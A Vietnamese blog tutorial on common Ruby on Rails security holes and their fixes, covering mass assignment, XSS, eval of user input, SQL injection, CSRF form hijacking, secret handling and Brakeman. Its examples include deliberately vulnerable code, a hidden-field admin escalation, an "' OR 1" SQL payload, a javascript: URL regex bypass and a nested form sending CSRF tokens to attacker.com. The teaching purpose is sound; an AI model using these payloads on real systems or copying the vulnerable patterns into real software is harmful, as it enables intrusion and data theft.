Những lỗ hổng bảo mật thông thường và cách xử lý trong Rails
Bài đăng này đã không được cập nhật trong 8 năm
1. Mở đầu
Ruby on Rails không phải làm một framework bảo mật nhất. Vì vậy khi phát triển bạn phải hiểu rõ những lỗ hổng bảo mật thông thường có thể gặp phải để tìm cách xử lý chúng. Trong bài viết này tôi sẽ nói về một số lỗ hổng bảo mật cũng nhưng các bước để làm cho ứng dụng của bạn được bảo vệ một cách an toàn hơn.
Một số lỗ hổng bảo mật thường gặp phải:
- Mass assignment
- XSS attacks
- Executing arbitrary code
- SQL injections
- Form hijacking
- Logging private data
- Revealing private tokens
- Uploading executable files
- Using Brakeman to detect possible problems
2. Mass Assignment
Đây có lẽ là lỗ hổng bảo mật phổ biến nhất. Mass Assignment có nghĩa lã một hacker cố gắng để update nhiều field trong cơ sở dữ liệu cùng một lúc bao gồm cả những field không được quyền sửa đổi.
Ví dụ ta có một form edit thông tin người dùng:
<%= form_for @user do |f| %>
<%= f.label :name %>
<%= f.text_field :name %>
<%= f.label :surname %>
<%= f.text_field :surname %>
<%= f.submit %>
<% end %>
Và đây là controller:
def update
@user = User.find(params[:id])
if @user.update_attributes(params[:user])
redirect_to some_path
else
render :edit
end
end
Nhìn qua bạn thấy mọi thứ có vẻ hoàn toàn bình thường. Nhưng trong thực thế ở đây có một lỗ hổng bảo mật cực lớn. Nếu user có một cột là admin chẳng hạn, nó có thể dễ dàng bị sửa bởi bất cứ ai với logic của controller trên bằng cách đơn giản chỉ thêm một hidden field như sau:
<input type="hidden" name="user[admin]" value="true">
Bạn nghĩ xem chuyện gì sẽ xảy ra. Giờ hacker đã trở thành một admin của hệ thống. Vì vậy strong parameters
đã được giới thiệu ở Rails 4. Với strong parameters bạn có thể list ra chỉ những attributes nào được quyền update bởi người dùng.
def update
@user = User.find(params[:id])
if @user.update_attributes(user_params)
redirect_to some_path
else
render :edit
end
end
private
def user_params
params.require(:user).permit(:name, :surname)
end
Từ giờ trở đi chỉ có name
và surname
của user là được phép update (mọi parameter khác đều bị bỏ qua)
Nếu bạn muốn permit tất cả parameter thì chỉ việc sử dụng permit!
method:
params.require(:user).permit!
Tuy nhiên phải hết sức thận trọng khi sử dụng nó.
3. XSS Attacks
Không bao giờ tin tưởng bất kỳ dữ liệu nào được gửi bới người dùng trừ khi ứng dụng của bạn được sử dụng bởi một nhóm nhỏ hoặc chỉ sử dùng nội bộ. Trên thực tế, ngay cả trong những trường hợp như vậy cũng không thể tin tưởng 100% vì người dùng hoàn toàn có thể vô tình hoặc nhầm lẫn trong việc gửi thông tin lên server.
Mọi kết quả đầu ra ở trong view của Rails đều được để dưới dạng mặc định kể từ Rails 3. Có một cách để thay đổi bằng cách sử dụng html_safe
. (Sử dụng một cách cẩn trọng)
# your controller
@blog_post = current_user.blog_posts.find_by(id: params[:id])
# your view
<%= @blog_post.body.html_safe %>
Nếu bất cứ ai được phép đăng bài viết trên blog, sau đó có một người cố gắng chèn một số dòng mã javascript
vào nó và đoạn mã đó sẽ được xử lý như mọi những script khác. Ví dụ một hacker muốn tạo một alert box với mục đích chuyển hướng người dùng tới một nơi khác bằng cách viết lại thuộc tính window.location.href
. Thậm trí một vài kẻ tấn công còn có thể nhúng key logger lên trang web của bạn để ăn cắp thông tin của người dùng.
Vì vậy nếu bạn hiện thị một nội dung mà người dùng tạo trên 1 trang, không bao giờ sử dụng phương thức html_safe
trực tiếp. Đầu tiên hãy sử dụng phương thức sanitize
và chỉ định những thẻ được phép hiển thị (thường là những thẻ sử dụng để format như <b>, <i>, …):
<%= sanitize(@blog_post.body, tags: %w(b strong em i)).html_safe %>
4. Executing Arbitrary Code
Thận trọng khi chạy những dòng code tạo dựa trên thông tin được gửi bởi người dùng. Việc này có thể tạo ra một lỗ hổng thực sự nghiêm trọng. lỗ hổng này có thể xảy ra khi sử dụng các phương thức từ ActiveSupport::Inflector
hoặc phương thức eval
. Nếu không được sử dụng một cách cẩn thận có thể khiến hệ thống của bạn bị tấn công. Ví dụ dưới đây là cực kỳ thiếu an toàn và không nên sử dụng:
eval(params[:id])
Nếu thực sự cần phải chạy mã do người dùng gửi thì hay chắc rằng validate đầy đủ dữ liệu đó và lập ra danh sách các trường hợp không cho phép.
5. SQL Injection
SQL Injection
thường được sử dụng để truy cập hoặc thao tác với những dữ liệu mà người dừng không có quyền thay đổi. Trong hầu hết các trường hợp lập trình viên Rails thường bảo vệ trước tấn công SQL Injection bằng các cách sau:
@user = User.find_by id: params[:id]
các trên được sanitize mặc định (giống như việc sử dụng strong parameters). Tuy nhiên phải nhớ trong trường hợp
@user = User.where("id = '#{params[:id]}'")
thì lại không được sanitize và “không bao giờ được làm như vậy”. Hacker có thể gửi lên server param dưới dạng “http://yoursite.com/user?id=' OR 1 ”. Trong trường hợp này mệnh đề where luôn đúng và sẽ show ra thông tin của tất cả người dùng của hệ thống.
Để đề phòng việc tấn công này chúng ta có thể sử dụng nội suy với ký tự “?” có các truy vấn vấn phức tạp:
@user = User.where("id = ?", params[:id])
Trong trường hợp này input sẽ được sanitize. Ngoài ra với Arel được tích hợp sẵn trong Rails các câu truy vấn có thể viết một cách đơn giản:
@user = User.where("id = ? OR name = ?", params[:id], params[:name])
có thể chuyển thành
@user = User.where(id: params[:id]).or(where(name: params[:name]))
6. Form Hijacking
Hiện Rails 5 đã thêm CSRF token cho mỗi form (là một token cho tất cả các form của Rails 5). Việc này để ngăn hacker chèn thêm mã độc vào nó.
<form method="post" action="//attacker.com/tokens">
<form method="post" action="/legit_action">
<input type="hidden" name="authenticity_token" value="thetoken">
</form>
HTML không cho phép các thẻ form lồng nhau. Do vậy những form này sẽ được thay thế bởi các form khác. Khi form được gửi đi, các token ở trong form cũ sẽ được gửi đến trang web của hacker.
Rails 5 cho ta một tùy chọn
config/initializers/new_framework_defaults.rb
Rails.application.config.action_controller.per_form_csrf_tokens = true
7. Revealing Private Tokens
Thường thì ứng dụng của bạn có những biến lưu lại những token dùng để tương tác với bên thứ ba. Điều quan trọng là bạn không được để lộ thông tin những biến này ra ngoài. Cách dễ nhất là đưa nó trở thành biến môi trường và sử dụng gem dotenv-rails. Bạn tạo 1 file .env
và đưa những token của bạn vào trong đó:
TWITTER_KEY=abc
TWITTER_SECRET=xyz
Rails 4 cung cấp cho chúng ta file config/secrets.yml
để lưu trữ những token được sử dụng trong môi trường production thông quá biến ENV
production:
secret_key_base: <%= ENV["SECRET_KEY_BASE"] %>
8. Logging Private Data
Rails cho phép ta log lại mọi thứ. Nhưng có một vấn đề đôi khi có những thông cá nhân cũng bị lưu lại làm cho bất cứ ai có quyền truy cập đến server đều có thể lấy những thông tin này. Ví dụ như mật khẩu, mã số thẻ, …
Trong file config/initializers/filter_parameter_logging.rb
có một thiết lập:
Rails.application.config.filter_parameters += [:password]
Tuy nhiên hay chắc chắc rằng bạn đã config nó nếu ứng dụng của bạn làm việc với những thông tin cá nhân nhạy cảm. String vaf symbol sẽ tự động được chuyển thành cách diễn tả thông thường vì vậy bất cứ filed nào có chứa password sẽ được lọc và thay thế bởi FILTERED
.
9. Sending Sensitive Data via HTTP
Các dữ liệu nhạy cảm và quan trọng nên không bao giờ được truyền đi thông qua phương thức HTTP
. Ví dụ bạn thiết lập một HTTP basic authentication:
class SomeController < ApplicationController
before_action :authenticate!
private
def authenticate!
authenticate_or_request_with_http_basic do |id, password|
name == 'admin' && password == '12345'
end
end
end
username và password có thể dễ dàng bị giả mạo bởi công cụ như Wireshark nếu kết nối của bạn không được mã hóa. Bạn phải thực hiện SSL cho controller trên.
class SomeController < ApplicationController
force_ssl
before_action :authenticate!
#...
end
Ngoài ra SSL còn có thể được thiết lập cho toàn bộ ứng dụng bằng cách:
config/application.rb.
config.force_ssl = true
10. Uploading Excutable Files
Rất nhiều ứng dụng cho phép người dùng upload file như ảnh, tài liệu. Tuy nhiên bạn hãy nhớ rằng cần phải validate dung lượng file và được biệt là thận trọng với các file script.
Một hacker có thể tải lên một tập tin nào đó chứa mã độc lên máy chủ của bạn và sẽ chạy tự động dẫn đến những vấn đề nghiêm trọng.
Giải pháp phổ biến nhấp là sử dụng các gem hỗ trợ upload file như Paperclip
, Carrierwave
, Dragonfly
kết hợp với các phương thức validate. Hãy chắc chắn rằng bạn đã kiểm tra file dữ liệu của người dùng trước khi tải lên server.
11. Regular Expressions
Một vài lập trình viên thường coi hai ký tự ^
và $
trong regular expession như là biểu thị cho bắt đầu và kết thúc của một string. Trên thực tế chúng biểu hiện cho bắt đầu và kết thúc của một dòng chứ không phải toàn bộ string. Do vậy regular expression dưới để validate một URL do người dùng nhập vào là không an toàn.
/^https?:\/\/[^\n]+$/i
Hacker có thể nhập vào:
javascript:some_bad_code();/*
http://anything.com
*/
Ví dụ trên sẽ được coi là một URL đúng so với regex ở phía trên. Nếu bạn có một đường link ở view có giá trị @user.website như trên ở view
link_to "User's website", @user.website
bất cứ khi nào click vào nó thì đoạn mã script sẽ được kích hoạt. Để bảo vệ trước lỗ hổng này hãy sử dụng \A
và \z
để thể hiện bắt đầu và kết thúc của toàn bộ string thay cho ^
và $
/\Ahttps?:\/\/[^\n]+\z/i
Bạn có thể test regular expression một cách đễ dàng tại http://rubular.com/
12. Using Brakeman to Assess Your Application
Brakeman
là một gem dùng để quét toàn bộ chương trình của bạn để tìm kiếm các vấn đề bảo mật thông thường.
Gemfile
group :development do
gem 'brakeman', require: false
end
Bạn có thể dùng lệnh để chạy brakeman. Sau khi hoàn thành brakeman sẽ tạo một báo cáo cho bạn với nhiều định dạng lựa chọn (HTML, Markdown, CSV, JSON, …)
Ví dụ:
$ brakeman -f html
hoặc định tên file:
$ brakeman -o output.html
Brakeman sẽ đánh dấu các lỗ hổng bảo mật tìm được theo các mức độ High, Medium hoặc Weak. Tuy nhiên công cụ này không phải là hoàn hảo, nó vẫn có thể bỏ xót những vấn đề nguy hiển vì vậy hãy chắc chắn tự mình đánh giá lại ứng dụng của bạn một lần nữa.
13. Tổng kết
Thông qua bài viết này tôi đã giới thiệu cho các bạn một vài lỗ hổng bảo mật thường gặp. Tuy nhiên còn rất nhiều vấn đề khác. Nếu bạn biết những lỗ hổng khác hãy chia sẽ cho mọi người để giúp cho những ứng dụng chúng ta viết ra thật an toàn với người sử dụng. Cảm ơn các bạn đã theo dõi bài viết
All rights reserved